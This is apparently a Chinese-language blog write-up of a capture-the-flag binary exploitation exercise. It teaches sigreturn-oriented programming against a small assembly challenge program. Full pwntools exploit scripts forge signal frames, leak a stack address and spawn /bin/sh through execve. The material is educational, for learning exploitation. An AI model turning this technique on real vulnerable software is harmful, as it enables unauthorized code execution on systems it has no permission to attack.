Featured image of post lys srop Writes up

lys srop Writes up

lys srop Writes up

Before

感謝 naup 大大手把手教我怎麼串出 srop www, 然後也從他的 筆記中 參考了一些東東,請接受我的膜拜w

signal 機制

  • kernel向process發起signal機制,Process暫時中斷,進入kernel
  • 保存環境(簡單來說就是保存了各個暫存器的值,將所有東西壓入stack,並壓入signal相關訊息),這段記憶體被稱為Signal Frame
  • 到signal handler處理
  • 恢復環境
  • 繼續執行process

image

image

signal frame:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
    {
      /* FPU environment matching the 64-bit FXSAVE layout.  */
      __uint16_t        cwd;
      __uint16_t        swd;
      __uint16_t        ftw;
      __uint16_t        fop;
      __uint64_t        rip;
      __uint64_t        rdp;
      __uint32_t        mxcsr;
      __uint32_t        mxcr_mask;
      struct _fpxreg    _st[8];
      struct _xmmreg    _xmm[16];
      __uint32_t        padding[24];
    };

struct sigcontext
    {
      __uint64_t r8;
      __uint64_t r9;
      __uint64_t r10;
      __uint64_t r11;
      __uint64_t r12;
      __uint64_t r13;
      __uint64_t r14;
      __uint64_t r15;
      __uint64_t rdi;
      __uint64_t rsi;
      __uint64_t rbp;
      __uint64_t rbx;
      __uint64_t rdx;
      __uint64_t rax;
      __uint64_t rcx;
      __uint64_t rsp;
      __uint64_t rip;
      __uint64_t eflags;
      unsigned short cs;
      unsigned short gs;
      unsigned short fs;
      unsigned short __pad0;
      __uint64_t err;
      __uint64_t trapno;
      __uint64_t oldmask;
      __uint64_t cr2;
      __extension__ union
        {
          struct _fpstate * fpstate;
          __uint64_t __fpstate_word;
        };
      __uint64_t __reserved1 [8];
    };

image

漏洞在哪?

如果我們能控制Stack的值,因為他在恢復環境時沒有驗證,所以可以任意修改來串ROP(透過偽造sigframe來調用惡意syscall)

SROP前提:

  • 有BOF
  • 可以去系統調用 signature (或用read控rax之類的)
  • /bin/sh 地址可以寫入並拿到該地址或是直接有目標及有位址
  • syscall 地址

SROP Chain:

image

如果有ret,那可以構造像是這樣的 chain 來呼叫多個 syscall

SROP 觸發流程

  • 控制stack
  • 偽造Signal Frame
  • 觸發Sigreturn
  • get shell

demo iSoROPistic:

同: https://ephemerally.top/post/9

chal.asm:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
; nasm -f elf64 chal.asm -o chal.o && ld chal.o -o chal
.text:
    global _start

_start:
    xor rax, rax
    mov edx, 0x400
    mov rsi, rsp
    mov rdi, rax
    syscall
    ret

checksec:

image

ida:

image

解題整理

rax 代表你可以控 syscall 中的哪一個東西

看完 source 之後會發現,他其實利用了 systemcall table 的 read,因為在 Linux 中 rax = 0 會變成 call read

在考慮偽造 Signal Frame 的情況下,我們可以對多個暫存器以及堆疊指標進行控制,做到 syscall(59,’/bin/sh’,0,0);59 就是 execve,相當於 execve("/bin/sh",0,0); 我們透過控制 read 讀入的位元組數,控制 rax=1,執行 write 系統呼叫,藉此洩漏堆疊位址。 偽造 Signal Frame 來實現 read,在指定位址讀入 “/bin/sh”。 控制 read 讀入的位元組數,實現 sigreturn 函式,套用我們剛剛偽造的暫存器和堆疊指標資訊。 在新的堆疊處,偽造 Signal Frame 來實現 execve。 再次控制 read 讀入的位元組數,觸發 sigreturn,最終拿到 shell。

解題思路

image

Leak Stack addr

程式運行的邏輯是 ret 第一次 -> call read -> 送 1bytes 進去 -> ret 第二次 call write

  • 而這邊有一個 trick 是 rax return value 是讀到幾個 bytes
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import time

context.arch='amd64'

r=process('./chal')

#DEBUG=raw_input('Debug:y/n'+'\n')
DEBUG=input('Debug:y/n'+'\n')

if DEBUG=="y":
    context.log_level = 'debug'
    context.arch = 'amd64'
    context.os = 'linux'
    context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def p():
    gdb.attach(r)


payload1 = p64(0x401000)+p64(0x401000) # read -> write

r.send(payload1)

time.sleep(0.5)

r.send(b'\x03')

leak_stack=u64(r.recv()[8:16])

print('leak libc: ',hex(leak_stack))

r.interactive()
signal.return.read /bin/sh 預留位置給 /bin/sh

理解完上面的東西之後,我們要 call execve /bin/sh 需要先讓 sigreturn 正確地 恢復暫存器狀態,而且這邊也可以控制後續的 /bin/sh

而前面兩次 ret 完讓我們成功 leak stack addr , 讓我們需要再 call 一次 ret 到 start

image

我們也需要讓 syscall call 到 rt_sigreturn 所以們只能讀 15 bytes

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import time
r=process('./chal')

#DEBUG=raw_input('Debug:y/n'+'\n')
DEBUG=input('Debug:y/n'+'\n')

if DEBUG=="y":
    context.log_level = 'debug'
    context.arch = 'amd64'
    context.os = 'linux'
    context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def p():
    gdb.attach(r)


payload1 = p64(0x401000)+p64(0x401000)+p64(0x401000) # read -> write -> read

r.send(payload1)

time.sleep(0.5)

r.send(b'\x03')

leak_stack=u64(r.recv()[8:16])

print('leak libc: ',hex(leak_stack))

start=0x401000
syscall=0x40100e

read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack
read.rdx = 0x400
read.rsp = leak_stack
read.rip = syscall

payload2=r.send(p64(start)+p64(syscall)+bytes(read))

r.send(payload2)

time.sleep(0.5)

r.send(payload2[8:23])

r.interactive()

流程->

1
payload2=r.send(p64(start)+p64(syscall)+bytes(read))

讓 payload 進來

1
2
3
start ->
syscall ->
read.SigreturnFrame

ret跳回start,讀15個byte進來

1
2
syscall
read.SigreturnFrame

ret到syscall,現在rax=15(call sys_rt_sigreturn)

1
read.SigreturnFrame

回復位置成read.SigreturnFrame的樣子

call signal.ret.execve /bin/sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack_base + 0x108 
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack_base 
execve.rip = syscall

payload5 = p64(start)+p64(syscall)+bytes(execve)
print(len(payload5))
payload5 += b'/bin/sh\x00'
r.send(payload5)

r.send(payload5[8:23])

讓剛剛設定好的 signal.ret.read /bin/sh 去被 sginal.ret.execve 讀到

image

final exploit.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
import time

context.arch='amd64'

r=process('./chal')

#DEBUG=raw_input('Debug:y/n'+'\n')
DEBUG=input('Debug:y/n'+'\n')

if DEBUG=="y":
    context.log_level = 'debug'
    context.arch = 'amd64'
    context.os = 'linux'
    context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def p():
    gdb.attach(r)


payload1 = p64(0x401000)+p64(0x401000)+p64(0x401000) # read -> write -> read

r.send(payload1)

time.sleep(0.5)

r.send(b'\x03')

leak_stack=u64(r.recv()[8:16])

print('leak libc: ',hex(leak_stack))

#leak stack addr

start=0x401000
syscall=0x40100e

read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack
read.rdx = 0x400
read.rsp = leak_stack
read.rip = syscall

payload2=(p64(start)+p64(syscall)+bytes(read))

r.send(payload2)

time.sleep(0.5)

r.send(payload2[8:23])

#call signal.read

execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack+ 0x108 # /bin/sh的偏移
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack 
execve.rip = syscall

payload3=p64(start)+p64(syscall)+bytes(execve)+b'/bin/sh\x00'
print(len(payload3))

time.sleep(0.5)

r.send(payload3)

time.sleep(0.5)

r.send(payload3[8:23])

#call signal.execve

r.interactive()

Reference

https://xz.aliyun.com/t/13313?time__1311=GqmxuD2DgQi%3DD%3DD%2FD0erGktKq0KlPgr4rD#toc-1

https://hackmd.io/@naup96321/BJh1D4BHA

https://ephemerally.top/post/9

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy